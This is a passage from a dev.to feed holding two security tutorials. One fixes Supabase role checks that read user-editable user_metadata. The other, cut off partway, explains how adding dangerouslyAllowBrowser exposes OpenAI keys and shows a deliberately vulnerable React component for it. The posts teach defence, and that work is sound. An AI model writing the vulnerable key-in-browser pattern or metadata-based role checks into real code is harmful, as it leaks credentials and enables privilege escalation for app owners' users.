  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SUPABASE_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SUPABASE_SERVICE_ROLE_KEY&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;supabaseAdmin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;admin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;updateUserById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;app_metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then point the policy at &lt;code&gt;app_metadata&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"Admins can read all orders"&lt;/span&gt;
&lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt;
&lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'app_metadata'&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'role'&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One trade-off from Supabase's docs: a change to &lt;code&gt;app_metadata&lt;/code&gt; "will not be reflected using auth.jwt() until the user's JWT is refreshed." Demoting an admin takes effect when their token refreshes, not instantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option 2: a roles table clients cannot write.&lt;/strong&gt; This takes effect immediately and keeps roles out of the token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_roles&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="n"&gt;uuid&lt;/span&gt; &lt;span class="k"&gt;primary&lt;/span&gt; &lt;span class="k"&gt;key&lt;/span&gt; &lt;span class="k"&gt;references&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="k"&gt;cascade&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;role&lt;/span&gt; &lt;span class="nb"&gt;text&lt;/span&gt; &lt;span class="k"&gt;not&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt; &lt;span class="k"&gt;check&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;role&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_roles&lt;/span&gt; &lt;span class="n"&gt;enable&lt;/span&gt; &lt;span class="k"&gt;row&lt;/span&gt; &lt;span class="k"&gt;level&lt;/span&gt; &lt;span class="k"&gt;security&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"Users can read their own role"&lt;/span&gt;
&lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_roles&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt;
&lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;-- No insert, update or delete policies: only service_role or SQL can change roles.&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="nb"&gt;boolean&lt;/span&gt;
&lt;span class="k"&gt;language&lt;/span&gt; &lt;span class="k"&gt;sql&lt;/span&gt;
&lt;span class="k"&gt;stable&lt;/span&gt;
&lt;span class="k"&gt;security&lt;/span&gt; &lt;span class="k"&gt;definer&lt;/span&gt;
&lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="n"&gt;search_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
&lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="err"&gt;$$&lt;/span&gt;
  &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_roles&lt;/span&gt;
    &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="k"&gt;role&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="err"&gt;$$&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"Admins can read all orders"&lt;/span&gt;
&lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt;
&lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you keep a &lt;code&gt;role&lt;/code&gt; column on &lt;code&gt;profiles&lt;/code&gt;, take it out of what users can update:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;revoke&lt;/span&gt; &lt;span class="k"&gt;update&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;profiles&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;grant&lt;/span&gt; &lt;span class="k"&gt;update&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;avatar_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;profiles&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Drop &lt;code&gt;role&lt;/code&gt; from the sign-up &lt;code&gt;options.data&lt;/code&gt; and from any trigger that copies metadata into a role column. In middleware, read the role from &lt;code&gt;app_metadata&lt;/code&gt; or ask the database, never from &lt;code&gt;user_metadata&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To test it, sign up a fresh account with &lt;code&gt;options: { data: { role: 'admin' } }&lt;/code&gt;, then use that session to query an admin-only table. You should get zero rows back. Then grep for the pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"user_metadata"&lt;/span&gt; src/ app/ supabase/migrations/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every hit that makes a yes/no access decision is a bug. In the Supabase dashboard, the Security Advisor runs the 0015 lint across all your policies.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Can Supabase users edit their own user_metadata?&lt;/strong&gt;&lt;br&gt;
A: Yes. Any signed-in user can change it with &lt;code&gt;supabase.auth.updateUser({ data: { ... } })&lt;/code&gt;, and they can set it at sign-up through &lt;code&gt;options.data&lt;/code&gt;. Supabase's docs say it should not be used for security decisions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: What is the difference between user_metadata and app_metadata in Supabase?&lt;/strong&gt;&lt;br&gt;
A: &lt;code&gt;user_metadata&lt;/code&gt; is profile data the user can write. &lt;code&gt;app_metadata&lt;/code&gt; cannot be updated by the user and is set through the admin API with the service_role key, which makes it the right place for roles, plans and team membership.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Is checking user_metadata in Next.js middleware safe if the page also checks it?&lt;/strong&gt;&lt;br&gt;
A: No. Both checks read the same user-controlled value, so both pass for an attacker. Move the role to &lt;code&gt;app_metadata&lt;/code&gt; or a protected table and check it on the server and in RLS.&lt;/p&gt;

&lt;p&gt;I've been running &lt;a href="https://tinyurl.com/25thgjsp" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; for this. Its repo checks include a rule for roles read from user metadata (&lt;code&gt;supabase-role-from-user-metadata&lt;/code&gt;), and the Supabase integration pulls in Supabase's own security advisors every day, so new policy problems show up without me remembering to look. Those checks are on the Cloud plans. Even without a scanner, the grep and the fresh-account test above catch most of this. The important thing is finding it before someone else opens the console.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>supabase</category>
      <category>ai</category>
    </item>
    <item>
      <title>Why Cursor Ships Your OpenAI Key to Every Visitor (CWE-522)</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Tue, 13 Oct 2026 17:31:29 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/why-cursor-ships-your-openai-key-to-every-visitor-cwe-522-2389</link>
      <guid>https://dev.to/c_k_fb750e731394/why-cursor-ships-your-openai-key-to-every-visitor-cwe-522-2389</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;When the OpenAI SDK throws "It looks like you're running in a browser-like environment", AI editors usually fix it by adding &lt;code&gt;dangerouslyAllowBrowser: true&lt;/code&gt; and moving the key into a &lt;code&gt;VITE_&lt;/code&gt; or &lt;code&gt;NEXT_PUBLIC_&lt;/code&gt; variable.&lt;/li&gt;
&lt;li&gt;That ships your secret API key to every visitor. It sits in the JavaScript bundle and in the &lt;code&gt;Authorization&lt;/code&gt; header of every request in the Network tab.&lt;/li&gt;
&lt;li&gt;The fix: delete the flag, rotate the key, and call the model from a server route that checks the session, rate limits, and caps tokens.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You are building an AI feature in a Vite or Next.js app. You install &lt;code&gt;openai&lt;/code&gt;, create the client in a React component, and the page crashes with an error that starts "It looks like you're running in a browser-like environment." You paste it into Cursor or Claude Code.&lt;/p&gt;

&lt;p&gt;The answer comes back in seconds: add &lt;code&gt;dangerouslyAllowBrowser: true&lt;/code&gt;, and since the browser cannot read &lt;code&gt;process.env.OPENAI_API_KEY&lt;/code&gt;, rename it to &lt;code&gt;VITE_OPENAI_API_KEY&lt;/code&gt;. The chat works. You ship.&lt;/p&gt;

&lt;p&gt;Your key is now public. The error you silenced was the SDK telling you exactly that.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;The vulnerable pattern is an LLM client constructed in browser code with a key from a public environment variable. Here is the shape that comes back after the AI "fixes" the error in a Vite + React app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/components/Chat.tsx&lt;/span&gt;
&lt;span class="c1"&gt;// CWE-522: Insufficiently Protected Credentials&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;OpenAI&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;openai&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;openai&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;OpenAI&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VITE_OPENAI_API_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;dangerouslyAllowBrowser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;ask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;completions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;gpt-4o-mini&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Next.js version is the same with &lt;code&gt;process.env.NEXT_PUBLIC_OPENAI_API_KEY&lt;/code&gt; in a &lt;code&gt;'use client'&lt;/code&gt; component.&lt;/p&gt;

&lt;p&gt;Two things make this a leak, not a risk:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Vite inlines every &lt;code&gt;VITE_&lt;/code&gt; variable into the built JavaScript, and Next.js does the same with &lt;code&gt;NEXT_PUBLIC_&lt;/code&gt;. The key is a string in a file anyone can download.&lt;/li&gt;
&lt;li&gt;The browser calls the provider directly, so the key is sent as &lt;code&gt;Authorization: Bearer sk-...&lt;/code&gt; on every request. Open DevTools, click the Network tab, send one chat message, and copy it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No exploit is needed. The attacker is anyone who opens DevTools, and the bill is yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors optimize for making the error disappear, and the error message itself contains the option that does it. OpenAI's SDK refuses to run in a browser by default, explains why, and names &lt;code&gt;dangerouslyAllowBrowser&lt;/code&gt; as the switch. The Anthropic TypeScript SDK has the same option. From the model's point of view, the fix is printed right there in the stack trace.&lt;/p&gt;

&lt;p&gt;The second half follows from the first. Once the client lives in the browser, &lt;code&gt;process.env.OPENAI_API_KEY&lt;/code&gt; is undefined, so the next error is a missing key. The shortest path is the public prefix, because that is what Vite and Next.js docs say to use when the browser needs a variable.&lt;/p&gt;

&lt;p&gt;Plenty of tutorials and demo repos do exactly this, because it is the fastest way to get a chat box on screen. The OpenAI SDK README even lists cases where the flag "might not be dangerous": internal tools with trusted users, keys with very limited scope, short-lived dev keys. A production app with public sign-up fits none of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Remove &lt;code&gt;dangerouslyAllowBrowser&lt;/code&gt;, rotate the exposed key, and move the model call into a server route that authenticates the caller, rate limits per user, and caps output tokens. The browser calls your route, never the provider.&lt;/p&gt;

&lt;p&gt;Next.js App Router:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/api/chat/route.ts (server only)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;OpenAI&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;openai&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;getSession&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@/lib/auth&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;         &lt;span class="c1"&gt;// your auth&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;rateLimit&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@/lib/rate-limit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="c1"&gt;// e.g. Upstash, Redis&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;openai&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;OpenAI&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OPENAI_API_KEY&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt; &lt;span class="c1"&gt;// no NEXT_PUBLIC_&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getSession&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;unauthorized&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;rateLimit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;slow down&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

